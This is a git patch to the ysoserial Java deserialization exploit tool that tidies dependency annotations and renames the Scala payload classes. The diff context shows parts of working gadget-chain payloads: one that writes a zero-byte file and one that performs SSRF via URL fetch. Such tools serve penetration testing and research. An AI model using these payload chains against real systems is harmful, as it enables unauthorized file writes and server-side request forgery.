From 379f95f7a82a6a56abb3aa08cb6f496bb211b799 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Fri, 29 Apr 2022 22:49:32 -0700 Subject: [PATCH] more test fix/cleanup --- .../java/ysoserial/payloads/JBossInterceptors1.java | 2 +- .../java/ysoserial/payloads/JavassistWeld1.java | 2 +- src/main/java/ysoserial/payloads/Scala.java | 13 +++++++------ 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java index c71e48d..c1fbe68 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors1.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -31,7 +31,7 @@ import java.util.*; @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", - "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4 "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JBossInterceptors1 implements ObjectPayload { diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index a36e69e..f67ef84 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -31,7 +31,7 @@ import java.util.*; @SuppressWarnings({"rawtypes", "unchecked"}) @PayloadTest(precondition = "isApplicableJavaVersion") @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", - "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4 "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) public class JavassistWeld1 implements ObjectPayload { diff --git a/src/main/java/ysoserial/payloads/Scala.java b/src/main/java/ysoserial/payloads/Scala.java index 50c827b..35e48b2 100644 --- a/src/main/java/ysoserial/payloads/Scala.java +++ b/src/main/java/ysoserial/payloads/Scala.java @@ -27,8 +27,6 @@ import java.util.PriorityQueue; Some slight variations will probably work with other versions. */ -@Dependencies({"org.scala-lang:scala-library:2.12.6"}) -@Authors({ Authors.JACKOFMOSTTRADES }) public class Scala { private static PriorityQueue createExploit(Function0 exploitFunction) throws Exception { @@ -67,7 +65,9 @@ public class Scala { scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply() java.io.FileOutputStream.() */ - public static class CreateZeroFile extends PayloadRunner implements ObjectPayload> { + @Dependencies({"org.scala-lang:scala-library:2.12.6"}) + @Authors({ Authors.JACKOFMOSTTRADES }) + public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload> { public PriorityQueue getObject(final String path) throws Exception { Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3"); Function0 pbf = (Function0) Reflections.createWithoutConstructor(clazz); @@ -88,7 +88,9 @@ public class Scala { scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply() java.net.URL.openStream() */ - public static class Ssrf extends PayloadRunner implements ObjectPayload> { + @Dependencies({"org.scala-lang:scala-library:2.12.6"}) + @Authors({ Authors.JACKOFMOSTTRADES }) + public static class ScalaSsrf extends PayloadRunner implements ObjectPayload> { public PriorityQueue getObject(final String url) throws Exception { Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1"); Function0 pbf = (Function0)Reflections.createWithoutConstructor(clazz); @@ -99,8 +101,7 @@ public class Scala { } public static void main(final String[] args) throws Exception { - PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"}); + //PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"}); //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"}); } - }